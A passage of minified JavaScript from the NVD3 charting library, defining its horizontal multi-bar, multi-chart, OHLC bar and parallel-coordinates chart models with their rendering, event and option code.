chart.tooltip.contentGenerator() instead"),j.contentGenerator(b)}},margin:{get:function(){return k},set:function(a){k.top=void 0!==a.top?a.top:k.top,k.right=void 0!==a.right?a.right:k.right,k.bottom=void 0!==a.bottom?a.bottom:k.bottom,k.left=void 0!==a.left?a.left:k.left}},duration:{get:function(){return C},set:function(a){C=a,e.duration(C),f.duration(C),g.duration(C),D.reset(C)}},color:{get:function(){return n},set:function(b){n=a.utils.getColor(b),h.color(n)}},rightAlignYAxis:{get:function(){return t},set:function(a){t=a,g.orient(t?"right":"left")}},barColor:{get:function(){return e.barColor},set:function(a){e.barColor(a),h.color(function(a,b){return d3.rgb("#ccc").darker(1.5*b).toString()})}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.multiBarHorizontal=function(){"use strict";function b(m){return E.reset(),m.each(function(b){var m=k-j.left-j.right,C=l-j.top-j.bottom;n=d3.select(this),a.utils.initSVG(n),w&&(b=d3.layout.stack().offset("zero").values(function(a){return a.values}).y(r)(b)),b.forEach(function(a,b){a.values.forEach(function(c){c.series=b,c.key=a.key})}),w&&b[0].values.map(function(a,c){var d=0,e=0;b.map(function(a){var b=a.values[c];b.size=Math.abs(b.y),b.y<0?(b.y1=e-b.size,e-=b.size):(b.y1=d,d+=b.size)})});var F=d&&e?[]:b.map(function(a){return a.values.map(function(a,b){return{x:q(a,b),y:r(a,b),y0:a.y0,y1:a.y1}})});o.domain(d||d3.merge(F).map(function(a){return a.x})).rangeBands(f||[0,C],A),p.domain(e||d3.extent(d3.merge(F).map(function(a){return w?a.y>0?a.y1+a.y:a.y1:a.y}).concat(t))),p.range(x&&!w?g||[p.domain()[0]<0?z:0,m-(p.domain()[1]>0?z:0)]:g||[0,m]),h=h||o,i=i||d3.scale.linear().domain(p.domain()).range([p(0),p(0)]);{var G=d3.select(this).selectAll("g.nv-wrap.nv-multibarHorizontal").data([b]),H=G.enter().append("g").attr("class","nvd3 nv-wrap nv-multibarHorizontal"),I=(H.append("defs"),H.append("g"));G.select("g")}I.append("g").attr("class","nv-groups"),G.attr("transform","translate("+j.left+","+j.top+")");var J=G.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a,b){return b});J.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6),J.exit().watchTransition(E,"multibarhorizontal: exit groups").style("stroke-opacity",1e-6).style("fill-opacity",1e-6).remove(),J.attr("class",function(a,b){return"nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}).style("fill",function(a,b){return u(a,b)}).style("stroke",function(a,b){return u(a,b)}),J.watchTransition(E,"multibarhorizontal: groups").style("stroke-opacity",1).style("fill-opacity",.75);var K=J.selectAll("g.nv-bar").data(function(a){return a.values});K.exit().remove();var L=K.enter().append("g").attr("transform",function(a,c,d){return"translate("+i(w?a.y0:0)+","+(w?0:d*o.rangeBand()/b.length+o(q(a,c)))+")"});L.append("rect").attr("width",0).attr("height",o.rangeBand()/(w?1:b.length)),K.on("mouseover",function(a,b){d3.select(this).classed("hover",!0),D.elementMouseover({data:a,index:b,color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){d3.select(this).classed("hover",!1),D.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){D.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")})}).on("mousemove",function(a,b){D.elementMousemove({data:a,index:b,color:d3.select(this).style("fill")})}).on("click",function(a,b){D.elementClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}).on("dblclick",function(a,b){D.elementDblClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}),s(b[0],0)&&(L.append("polyline"),K.select("polyline").attr("fill","none").attr("points",function(a,c){var d=s(a,c),e=.8*o.rangeBand()/(2*(w?1:b.length));d=d.length?d:[-Math.abs(d),Math.abs(d)],d=d.map(function(a){return p(a)-p(0)});var f=[[d[0],-e],[d[0],e],[d[0],0],[d[1],0],[d[1],-e],[d[1],e]];return f.map(function(a){return a.join(",")}).join(" ")}).attr("transform",function(a,c){var d=o.rangeBand()/(2*(w?1:b.length));return"translate("+(r(a,c)<0?0:p(r(a,c))-p(0))+", "+d+")"})),L.append("text"),x&&!w?(K.select("text").attr("text-anchor",function(a,b){return r(a,b)<0?"end":"start"}).attr("y",o.rangeBand()/(2*b.length)).attr("dy",".32em").text(function(a,b){var c=B(r(a,b)),d=s(a,b);return void 0===d?c:d.length?c+"+"+B(Math.abs(d[1]))+"-"+B(Math.abs(d[0])):c+"±"+B(Math.abs(d))}),K.watchTransition(E,"multibarhorizontal: bars").select("text").attr("x",function(a,b){return r(a,b)<0?-4:p(r(a,b))-p(0)+4})):K.selectAll("text").text(""),y&&!w?(L.append("text").classed("nv-bar-label",!0),K.select("text.nv-bar-label").attr("text-anchor",function(a,b){return r(a,b)<0?"start":"end"}).attr("y",o.rangeBand()/(2*b.length)).attr("dy",".32em").text(function(a,b){return q(a,b)}),K.watchTransition(E,"multibarhorizontal: bars").select("text.nv-bar-label").attr("x",function(a,b){return r(a,b)<0?p(0)-p(r(a,b))+4:-4})):K.selectAll("text.nv-bar-label").text(""),K.attr("class",function(a,b){return r(a,b)<0?"nv-bar negative":"nv-bar positive"}),v&&(c||(c=b.map(function(){return!0})),K.style("fill",function(a,b,d){return d3.rgb(v(a,b)).darker(c.map(function(a,b){return b}).filter(function(a,b){return!c[b]})[d]).toString()}).style("stroke",function(a,b,d){return d3.rgb(v(a,b)).darker(c.map(function(a,b){return b}).filter(function(a,b){return!c[b]})[d]).toString()})),w?K.watchTransition(E,"multibarhorizontal: bars").attr("transform",function(a,b){return"translate("+p(a.y1)+","+o(q(a,b))+")"}).select("rect").attr("width",function(a,b){return Math.abs(p(r(a,b)+a.y0)-p(a.y0))}).attr("height",o.rangeBand()):K.watchTransition(E,"multibarhorizontal: bars").attr("transform",function(a,c){return"translate("+p(r(a,c)<0?r(a,c):0)+","+(a.series*o.rangeBand()/b.length+o(q(a,c)))+")"}).select("rect").attr("height",o.rangeBand()/b.length).attr("width",function(a,b){return Math.max(Math.abs(p(r(a,b))-p(0)),1)}),h=o.copy(),i=p.copy()}),E.renderEnd("multibarHorizontal immediate"),b}var c,d,e,f,g,h,i,j={top:0,right:0,bottom:0,left:0},k=960,l=500,m=Math.floor(1e4*Math.random()),n=null,o=d3.scale.ordinal(),p=d3.scale.linear(),q=function(a){return a.x},r=function(a){return a.y},s=function(a){return a.yErr},t=[0],u=a.utils.defaultColor(),v=null,w=!1,x=!1,y=!1,z=60,A=.1,B=d3.format(",.2f"),C=250,D=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),E=a.utils.renderWatch(D,C);return b.dispatch=D,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},x:{get:function(){return q},set:function(a){q=a}},y:{get:function(){return r},set:function(a){r=a}},yErr:{get:function(){return s},set:function(a){s=a}},xScale:{get:function(){return o},set:function(a){o=a}},yScale:{get:function(){return p},set:function(a){p=a}},xDomain:{get:function(){return d},set:function(a){d=a}},yDomain:{get:function(){return e},set:function(a){e=a}},xRange:{get:function(){return f},set:function(a){f=a}},yRange:{get:function(){return g},set:function(a){g=a}},forceY:{get:function(){return t},set:function(a){t=a}},stacked:{get:function(){return w},set:function(a){w=a}},showValues:{get:function(){return x},set:function(a){x=a}},disabled:{get:function(){return c},set:function(a){c=a}},id:{get:function(){return m},set:function(a){m=a}},valueFormat:{get:function(){return B},set:function(a){B=a}},valuePadding:{get:function(){return z},set:function(a){z=a}},groupSpacing:{get:function(){return A},set:function(a){A=a}},margin:{get:function(){return j},set:function(a){j.top=void 0!==a.top?a.top:j.top,j.right=void 0!==a.right?a.right:j.right,j.bottom=void 0!==a.bottom?a.bottom:j.bottom,j.left=void 0!==a.left?a.left:j.left}},duration:{get:function(){return C},set:function(a){C=a,E.reset(C)}},color:{get:function(){return u},set:function(b){u=a.utils.getColor(b)}},barColor:{get:function(){return v},set:function(b){v=b?a.utils.getColor(b):null}}}),a.utils.initOptions(b),b},a.models.multiBarHorizontalChart=function(){"use strict";function b(j){return C.reset(),C.models(e),r&&C.models(f),s&&C.models(g),j.each(function(j){var w=d3.select(this);a.utils.initSVG(w);var C=a.utils.availableWidth(l,w,k),D=a.utils.availableHeight(m,w,k);if(b.update=function(){w.transition().duration(z).call(b)},b.container=this,t=e.stacked(),u.setter(B(j),b.update).getter(A(j)).update(),u.disabled=j.map(function(a){return!!a.disabled}),!v){var E;v={};for(E in u)v[E]=u[E]instanceof Array?u[E].slice(0):u[E]}if(!(j&&j.length&&j.filter(function(a){return a.values.length}).length))return a.utils.noData(b,w),b;w.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale();var F=w.selectAll("g.nv-wrap.nv-multiBarHorizontalChart").data([j]),G=F.enter().append("g").attr("class","nvd3 nv-wrap nv-multiBarHorizontalChart").append("g"),H=F.select("g");if(G.append("g").attr("class","nv-x nv-axis"),G.append("g").attr("class","nv-y nv-axis").append("g").attr("class","nv-zeroLine").append("line"),G.append("g").attr("class","nv-barsWrap"),G.append("g").attr("class","nv-legendWrap"),G.append("g").attr("class","nv-controlsWrap"),q&&(h.width(C-y()),H.select(".nv-legendWrap").datum(j).call(h),k.top!=h.height()&&(k.top=h.height(),D=a.utils.availableHeight(m,w,k)),H.select(".nv-legendWrap").attr("transform","translate("+y()+","+-k.top+")")),o){var I=[{key:p.grouped||"Grouped",disabled:e.stacked()},{key:p.stacked||"Stacked",disabled:!e.stacked()}];i.width(y()).color(["#444","#444","#444"]),H.select(".nv-controlsWrap").datum(I).attr("transform","translate(0,"+-k.top+")").call(i)}F.attr("transform","translate("+k.left+","+k.top+")"),e.disabled(j.map(function(a){return a.disabled})).width(C).height(D).color(j.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!j[b].disabled}));var J=H.select(".nv-barsWrap").datum(j.filter(function(a){return!a.disabled}));if(J.transition().call(e),r){f.scale(c)._ticks(a.utils.calcTicksY(D/24,j)).tickSize(-C,0),H.select(".nv-x.nv-axis").call(f);var K=H.select(".nv-x.nv-axis").selectAll("g");K.selectAll("line, text")}s&&(g.scale(d)._ticks(a.utils.calcTicksX(C/100,j)).tickSize(-D,0),H.select(".nv-y.nv-axis").attr("transform","translate(0,"+D+")"),H.select(".nv-y.nv-axis").call(g)),H.select(".nv-zeroLine line").attr("x1",d(0)).attr("x2",d(0)).attr("y1",0).attr("y2",-D),h.dispatch.on("stateChange",function(a){for(var c in a)u[c]=a[c];x.stateChange(u),b.update()}),i.dispatch.on("legendClick",function(a){if(a.disabled){switch(I=I.map(function(a){return a.disabled=!0,a}),a.disabled=!1,a.key){case"Grouped":e.stacked(!1);break;case"Stacked":e.stacked(!0)}u.stacked=e.stacked(),x.stateChange(u),t=e.stacked(),b.update()}}),x.on("changeState",function(a){"undefined"!=typeof a.disabled&&(j.forEach(function(b,c){b.disabled=a.disabled[c]}),u.disabled=a.disabled),"undefined"!=typeof a.stacked&&(e.stacked(a.stacked),u.stacked=a.stacked,t=a.stacked),b.update()})}),C.renderEnd("multibar horizontal chart immediate"),b}var c,d,e=a.models.multiBarHorizontal(),f=a.models.axis(),g=a.models.axis(),h=a.models.legend().height(30),i=a.models.legend().height(30),j=a.models.tooltip(),k={top:30,right:20,bottom:50,left:60},l=null,m=null,n=a.utils.defaultColor(),o=!0,p={},q=!0,r=!0,s=!0,t=!1,u=a.utils.state(),v=null,w=null,x=d3.dispatch("stateChange","changeState","renderEnd"),y=function(){return o?180:0},z=250;u.stacked=!1,e.stacked(t),f.orient("left").tickPadding(5).showMaxMin(!1).tickFormat(function(a){return a}),g.orient("bottom").tickFormat(d3.format(",.1f")),j.duration(0).valueFormatter(function(a,b){return g.tickFormat()(a,b)}).headerFormatter(function(a,b){return f.tickFormat()(a,b)}),i.updateState(!1);var A=function(a){return function(){return{active:a.map(function(a){return!a.disabled}),stacked:t}}},B=function(a){return function(b){void 0!==b.stacked&&(t=b.stacked),void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}},C=a.utils.renderWatch(x,z);return e.dispatch.on("elementMouseover.tooltip",function(a){a.value=b.x()(a.data),a.series={key:a.data.key,value:b.y()(a.data),color:a.color},j.data(a).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){j.hidden(!0)}),e.dispatch.on("elementMousemove.tooltip",function(){j.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=x,b.multibar=e,b.legend=h,b.controls=i,b.xAxis=f,b.yAxis=g,b.state=u,b.tooltip=j,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return l},set:function(a){l=a}},height:{get:function(){return m},set:function(a){m=a}},showLegend:{get:function(){return q},set:function(a){q=a}},showControls:{get:function(){return o},set:function(a){o=a}},controlLabels:{get:function(){return p},set:function(a){p=a}},showXAxis:{get:function(){return r},set:function(a){r=a}},showYAxis:{get:function(){return s},set:function(a){s=a}},defaultState:{get:function(){return v},set:function(a){v=a}},noData:{get:function(){return w},set:function(a){w=a}},tooltips:{get:function(){return j.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),j.enabled(!!b)}},tooltipContent:{get:function(){return j.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),j.contentGenerator(b)}},margin:{get:function(){return k},set:function(a){k.top=void 0!==a.top?a.top:k.top,k.right=void 0!==a.right?a.right:k.right,k.bottom=void 0!==a.bottom?a.bottom:k.bottom,k.left=void 0!==a.left?a.left:k.left}},duration:{get:function(){return z},set:function(a){z=a,C.reset(z),e.duration(z),f.duration(z),g.duration(z)}},color:{get:function(){return n},set:function(b){n=a.utils.getColor(b),h.color(n)}},barColor:{get:function(){return e.barColor},set:function(a){e.barColor(a),h.color(function(a,b){return d3.rgb("#ccc").darker(1.5*b).toString()})}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.multiChart=function(){"use strict";function b(j){return j.each(function(j){function k(a){var b=2===j[a.seriesIndex].yAxis?z:y;a.value=a.point.x,a.series={value:a.point.y,color:a.point.color},B.duration(100).valueFormatter(function(a,c){return b.tickFormat()(a,c)}).data(a).position(a.pos).hidden(!1)}function l(a){var b=2===j[a.seriesIndex].yAxis?z:y;a.point.x=v.x()(a.point),a.point.y=v.y()(a.point),B.duration(100).valueFormatter(function(a,c){return b.tickFormat()(a,c)}).data(a).position(a.pos).hidden(!1)}function n(a){var b=2===j[a.data.series].yAxis?z:y;a.value=t.x()(a.data),a.series={value:t.y()(a.data),color:a.color},B.duration(0).valueFormatter(function(a,c){return b.tickFormat()(a,c)}).data(a).hidden(!1)}var C=d3.select(this);a.utils.initSVG(C),b.update=function(){C.transition().call(b)},b.container=this;var D=a.utils.availableWidth(g,C,e),E=a.utils.availableHeight(h,C,e),F=j.filter(function(a){return"line"==a.type&&1==a.yAxis}),G=j.filter(function(a){return"line"==a.type&&2==a.yAxis}),H=j.filter(function(a){return"bar"==a.type&&1==a.yAxis}),I=j.filter(function(a){return"bar"==a.type&&2==a.yAxis}),J=j.filter(function(a){return"area"==a.type&&1==a.yAxis}),K=j.filter(function(a){return"area"==a.type&&2==a.yAxis});if(!(j&&j.length&&j.filter(function(a){return a.values.length}).length))return a.utils.noData(b,C),b;C.selectAll(".nv-noData").remove();var L=j.filter(function(a){return!a.disabled&&1==a.yAxis}).map(function(a){return a.values.map(function(a){return{x:a.x,y:a.y}})}),M=j.filter(function(a){return!a.disabled&&2==a.yAxis}).map(function(a){return a.values.map(function(a){return{x:a.x,y:a.y}})});o.domain(d3.extent(d3.merge(L.concat(M)),function(a){return a.x})).range([0,D]);var N=C.selectAll("g.wrap.multiChart").data([j]),O=N.enter().append("g").attr("class","wrap nvd3 multiChart").append("g");O.append("g").attr("class","nv-x nv-axis"),O.append("g").attr("class","nv-y1 nv-axis"),O.append("g").attr("class","nv-y2 nv-axis"),O.append("g").attr("class","lines1Wrap"),O.append("g").attr("class","lines2Wrap"),O.append("g").attr("class","bars1Wrap"),O.append("g").attr("class","bars2Wrap"),O.append("g").attr("class","stack1Wrap"),O.append("g").attr("class","stack2Wrap"),O.append("g").attr("class","legendWrap");var P=N.select("g"),Q=j.map(function(a,b){return j[b].color||f(a,b)});if(i){var R=A.align()?D/2:D,S=A.align()?R:0;A.width(R),A.color(Q),P.select(".legendWrap").datum(j.map(function(a){return a.originalKey=void 0===a.originalKey?a.key:a.originalKey,a.key=a.originalKey+(1==a.yAxis?"":" (right axis)"),a})).call(A),e.top!=A.height()&&(e.top=A.height(),E=a.utils.availableHeight(h,C,e)),P.select(".legendWrap").attr("transform","translate("+S+","+-e.top+")")}r.width(D).height(E).interpolate(m).color(Q.filter(function(a,b){return!j[b].disabled&&1==j[b].yAxis&&"line"==j[b].type})),s.width(D).height(E).interpolate(m).color(Q.filter(function(a,b){return!j[b].disabled&&2==j[b].yAxis&&"line"==j[b].type})),t.width(D).height(E).color(Q.filter(function(a,b){return!j[b].disabled&&1==j[b].yAxis&&"bar"==j[b].type})),u.width(D).height(E).color(Q.filter(function(a,b){return!j[b].disabled&&2==j[b].yAxis&&"bar"==j[b].type})),v.width(D).height(E).color(Q.filter(function(a,b){return!j[b].disabled&&1==j[b].yAxis&&"area"==j[b].type})),w.width(D).height(E).color(Q.filter(function(a,b){return!j[b].disabled&&2==j[b].yAxis&&"area"==j[b].type})),P.attr("transform","translate("+e.left+","+e.top+")");var T=P.select(".lines1Wrap").datum(F.filter(function(a){return!a.disabled})),U=P.select(".bars1Wrap").datum(H.filter(function(a){return!a.disabled})),V=P.select(".stack1Wrap").datum(J.filter(function(a){return!a.disabled})),W=P.select(".lines2Wrap").datum(G.filter(function(a){return!a.disabled})),X=P.select(".bars2Wrap").datum(I.filter(function(a){return!a.disabled})),Y=P.select(".stack2Wrap").datum(K.filter(function(a){return!a.disabled})),Z=J.length?J.map(function(a){return a.values}).reduce(function(a,b){return a.map(function(a,c){return{x:a.x,y:a.y+b[c].y}})}).concat([{x:0,y:0}]):[],$=K.length?K.map(function(a){return a.values}).reduce(function(a,b){return a.map(function(a,c){return{x:a.x,y:a.y+b[c].y}})}).concat([{x:0,y:0}]):[];p.domain(c||d3.extent(d3.merge(L).concat(Z),function(a){return a.y})).range([0,E]),q.domain(d||d3.extent(d3.merge(M).concat($),function(a){return a.y})).range([0,E]),r.yDomain(p.domain()),t.yDomain(p.domain()),v.yDomain(p.domain()),s.yDomain(q.domain()),u.yDomain(q.domain()),w.yDomain(q.domain()),J.length&&d3.transition(V).call(v),K.length&&d3.transition(Y).call(w),H.length&&d3.transition(U).call(t),I.length&&d3.transition(X).call(u),F.length&&d3.transition(T).call(r),G.length&&d3.transition(W).call(s),x._ticks(a.utils.calcTicksX(D/100,j)).tickSize(-E,0),P.select(".nv-x.nv-axis").attr("transform","translate(0,"+E+")"),d3.transition(P.select(".nv-x.nv-axis")).call(x),y._ticks(a.utils.calcTicksY(E/36,j)).tickSize(-D,0),d3.transition(P.select(".nv-y1.nv-axis")).call(y),z._ticks(a.utils.calcTicksY(E/36,j)).tickSize(-D,0),d3.transition(P.select(".nv-y2.nv-axis")).call(z),P.select(".nv-y1.nv-axis").classed("nv-disabled",L.length?!1:!0).attr("transform","translate("+o.range()[0]+",0)"),P.select(".nv-y2.nv-axis").classed("nv-disabled",M.length?!1:!0).attr("transform","translate("+o.range()[1]+",0)"),A.dispatch.on("stateChange",function(){b.update()}),r.dispatch.on("elementMouseover.tooltip",k),s.dispatch.on("elementMouseover.tooltip",k),r.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),s.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),v.dispatch.on("elementMouseover.tooltip",l),w.dispatch.on("elementMouseover.tooltip",l),v.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),w.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),t.dispatch.on("elementMouseover.tooltip",n),u.dispatch.on("elementMouseover.tooltip",n),t.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),u.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),t.dispatch.on("elementMousemove.tooltip",function(){B.position({top:d3.event.pageY,left:d3.event.pageX})()}),u.dispatch.on("elementMousemove.tooltip",function(){B.position({top:d3.event.pageY,left:d3.event.pageX})()})}),b}var c,d,e={top:30,right:20,bottom:50,left:60},f=a.utils.defaultColor(),g=null,h=null,i=!0,j=null,k=function(a){return a.x},l=function(a){return a.y},m="monotone",n=!0,o=d3.scale.linear(),p=d3.scale.linear(),q=d3.scale.linear(),r=a.models.line().yScale(p),s=a.models.line().yScale(q),t=a.models.multiBar().stacked(!1).yScale(p),u=a.models.multiBar().stacked(!1).yScale(q),v=a.models.stackedArea().yScale(p),w=a.models.stackedArea().yScale(q),x=a.models.axis().scale(o).orient("bottom").tickPadding(5),y=a.models.axis().scale(p).orient("left"),z=a.models.axis().scale(q).orient("right"),A=a.models.legend().height(30),B=a.models.tooltip(),C=d3.dispatch();return b.dispatch=C,b.lines1=r,b.lines2=s,b.bars1=t,b.bars2=u,b.stack1=v,b.stack2=w,b.xAxis=x,b.yAxis1=y,b.yAxis2=z,b.tooltip=B,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return g},set:function(a){g=a}},height:{get:function(){return h},set:function(a){h=a}},showLegend:{get:function(){return i},set:function(a){i=a}},yDomain1:{get:function(){return c},set:function(a){c=a}},yDomain2:{get:function(){return d},set:function(a){d=a}},noData:{get:function(){return j},set:function(a){j=a}},interpolate:{get:function(){return m},set:function(a){m=a}},tooltips:{get:function(){return B.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),B.enabled(!!b)}},tooltipContent:{get:function(){return B.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),B.contentGenerator(b)}},margin:{get:function(){return e},set:function(a){e.top=void 0!==a.top?a.top:e.top,e.right=void 0!==a.right?a.right:e.right,e.bottom=void 0!==a.bottom?a.bottom:e.bottom,e.left=void 0!==a.left?a.left:e.left}},color:{get:function(){return f},set:function(b){f=a.utils.getColor(b)}},x:{get:function(){return k},set:function(a){k=a,r.x(a),s.x(a),t.x(a),u.x(a),v.x(a),w.x(a)}},y:{get:function(){return l},set:function(a){l=a,r.y(a),s.y(a),v.y(a),w.y(a),t.y(a),u.y(a)}},useVoronoi:{get:function(){return n},set:function(a){n=a,r.useVoronoi(a),s.useVoronoi(a),v.useVoronoi(a),w.useVoronoi(a)}}}),a.utils.initOptions(b),b},a.models.ohlcBar=function(){"use strict";function b(y){return y.each(function(b){k=d3.select(this);var y=a.utils.availableWidth(h,k,g),A=a.utils.availableHeight(i,k,g);a.utils.initSVG(k);var B=y/b[0].values.length*.9;l.domain(c||d3.extent(b[0].values.map(n).concat(t))),l.range(v?e||[.5*y/b[0].values.length,y*(b[0].values.length-.5)/b[0].values.length]:e||[5+B/2,y-B/2-5]),m.domain(d||[d3.min(b[0].values.map(s).concat(u)),d3.max(b[0].values.map(r).concat(u))]).range(f||[A,0]),l.domain()[0]===l.domain()[1]&&l.domain(l.domain()[0]?[l.domain()[0]-.01*l.domain()[0],l.domain()[1]+.01*l.domain()[1]]:[-1,1]),m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]+.01*m.domain()[0],m.domain()[1]-.01*m.domain()[1]]:[-1,1]);var C=d3.select(this).selectAll("g.nv-wrap.nv-ohlcBar").data([b[0].values]),D=C.enter().append("g").attr("class","nvd3 nv-wrap nv-ohlcBar"),E=D.append("defs"),F=D.append("g"),G=C.select("g");F.append("g").attr("class","nv-ticks"),C.attr("transform","translate("+g.left+","+g.top+")"),k.on("click",function(a,b){z.chartClick({data:a,index:b,pos:d3.event,id:j})}),E.append("clipPath").attr("id","nv-chart-clip-path-"+j).append("rect"),C.select("#nv-chart-clip-path-"+j+" rect").attr("width",y).attr("height",A),G.attr("clip-path",w?"url(#nv-chart-clip-path-"+j+")":"");var H=C.select(".nv-ticks").selectAll(".nv-tick").data(function(a){return a});H.exit().remove(),H.enter().append("path").attr("class",function(a,b,c){return(p(a,b)>q(a,b)?"nv-tick negative":"nv-tick positive")+" nv-tick-"+c+"-"+b}).attr("d",function(a,b){return"m0,0l0,"+(m(p(a,b))-m(r(a,b)))+"l"+-B/2+",0l"+B/2+",0l0,"+(m(s(a,b))-m(p(a,b)))+"l0,"+(m(q(a,b))-m(s(a,b)))+"l"+B/2+",0l"+-B/2+",0z"}).attr("transform",function(a,b){return"translate("+l(n(a,b))+","+m(r(a,b))+")"}).attr("fill",function(){return x[0]}).attr("stroke",function(){return x[0]}).attr("x",0).attr("y",function(a,b){return m(Math.max(0,o(a,b)))}).attr("height",function(a,b){return Math.abs(m(o(a,b))-m(0))}),H.attr("class",function(a,b,c){return(p(a,b)>q(a,b)?"nv-tick negative":"nv-tick positive")+" nv-tick-"+c+"-"+b}),d3.transition(H).attr("transform",function(a,b){return"translate("+l(n(a,b))+","+m(r(a,b))+")"}).attr("d",function(a,c){var d=y/b[0].values.length*.9;return"m0,0l0,"+(m(p(a,c))-m(r(a,c)))+"l"+-d/2+",0l"+d/2+",0l0,"+(m(s(a,c))-m(p(a,c)))+"l0,"+(m(q(a,c))-m(s(a,c)))+"l"+d/2+",0l"+-d/2+",0z"})}),b}var c,d,e,f,g={top:0,right:0,bottom:0,left:0},h=null,i=null,j=Math.floor(1e4*Math.random()),k=null,l=d3.scale.linear(),m=d3.scale.linear(),n=function(a){return a.x},o=function(a){return a.y},p=function(a){return a.open},q=function(a){return a.close},r=function(a){return a.high},s=function(a){return a.low},t=[],u=[],v=!1,w=!0,x=a.utils.defaultColor(),y=!1,z=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd","chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove");return b.highlightPoint=function(a,c){b.clearHighlights(),k.select(".nv-ohlcBar .nv-tick-0-"+a).classed("hover",c)},b.clearHighlights=function(){k.select(".nv-ohlcBar .nv-tick.hover").classed("hover",!1)},b.dispatch=z,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return i},set:function(a){i=a}},xScale:{get:function(){return l},set:function(a){l=a}},yScale:{get:function(){return m},set:function(a){m=a}},xDomain:{get:function(){return c},set:function(a){c=a}},yDomain:{get:function(){return d},set:function(a){d=a}},xRange:{get:function(){return e},set:function(a){e=a}},yRange:{get:function(){return f},set:function(a){f=a}},forceX:{get:function(){return t},set:function(a){t=a}},forceY:{get:function(){return u},set:function(a){u=a}},padData:{get:function(){return v},set:function(a){v=a}},clipEdge:{get:function(){return w},set:function(a){w=a}},id:{get:function(){return j},set:function(a){j=a}},interactive:{get:function(){return y},set:function(a){y=a}},x:{get:function(){return n},set:function(a){n=a}},y:{get:function(){return o},set:function(a){o=a}},open:{get:function(){return p()},set:function(a){p=a}},close:{get:function(){return q()},set:function(a){q=a}},high:{get:function(){return r},set:function(a){r=a}},low:{get:function(){return s},set:function(a){s=a}},margin:{get:function(){return g},set:function(a){g.top=void 0!=a.top?a.top:g.top,g.right=void 0!=a.right?a.right:g.right,g.bottom=void 0!=a.bottom?a.bottom:g.bottom,g.left=void 0!=a.left?a.left:g.left }},color:{get:function(){return x},set:function(b){x=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.parallelCoordinates=function(){"use strict";function b(p){return p.each(function(b){function p(a){return F(h.map(function(b){if(isNaN(a[b])||isNaN(parseFloat(a[b]))){var c=g[b].domain(),d=g[b].range(),e=c[0]-(c[1]-c[0])/9;if(J.indexOf(b)<0){var h=d3.scale.linear().domain([e,c[1]]).range([x-12,d[1]]);g[b].brush.y(h),J.push(b)}return[f(b),g[b](e)]}return J.length>0?(D.style("display","inline"),E.style("display","inline")):(D.style("display","none"),E.style("display","none")),[f(b),g[b](a[b])]}))}function q(){var a=h.filter(function(a){return!g[a].brush.empty()}),b=a.map(function(a){return g[a].brush.extent()});k=[],a.forEach(function(a,c){k[c]={dimension:a,extent:b[c]}}),l=[],M.style("display",function(c){var d=a.every(function(a,d){return isNaN(c[a])&&b[d][0]==g[a].brush.y().domain()[0]?!0:b[d][0]<=c[a]&&c[a]<=b[d][1]});return d&&l.push(c),d?null:"none"}),o.brush({filters:k,active:l})}function r(a){m[a]=this.parentNode.__origin__=f(a),L.attr("visibility","hidden")}function s(a){m[a]=Math.min(w,Math.max(0,this.parentNode.__origin__+=d3.event.x)),M.attr("d",p),h.sort(function(a,b){return u(a)-u(b)}),f.domain(h),N.attr("transform",function(a){return"translate("+u(a)+")"})}function t(a){delete this.parentNode.__origin__,delete m[a],d3.select(this.parentNode).attr("transform","translate("+f(a)+")"),M.attr("d",p),L.attr("d",p).attr("visibility",null)}function u(a){var b=m[a];return null==b?f(a):b}var v=d3.select(this),w=a.utils.availableWidth(d,v,c),x=a.utils.availableHeight(e,v,c);a.utils.initSVG(v),l=b,f.rangePoints([0,w],1).domain(h);var y={};h.forEach(function(a){var c=d3.extent(b,function(b){return+b[a]});return y[a]=!1,void 0===c[0]&&(y[a]=!0,c[0]=0,c[1]=0),c[0]===c[1]&&(c[0]=c[0]-1,c[1]=c[1]+1),g[a]=d3.scale.linear().domain(c).range([.9*(x-12),0]),g[a].brush=d3.svg.brush().y(g[a]).on("brush",q),"name"!=a});var z=v.selectAll("g.nv-wrap.nv-parallelCoordinates").data([b]),A=z.enter().append("g").attr("class","nvd3 nv-wrap 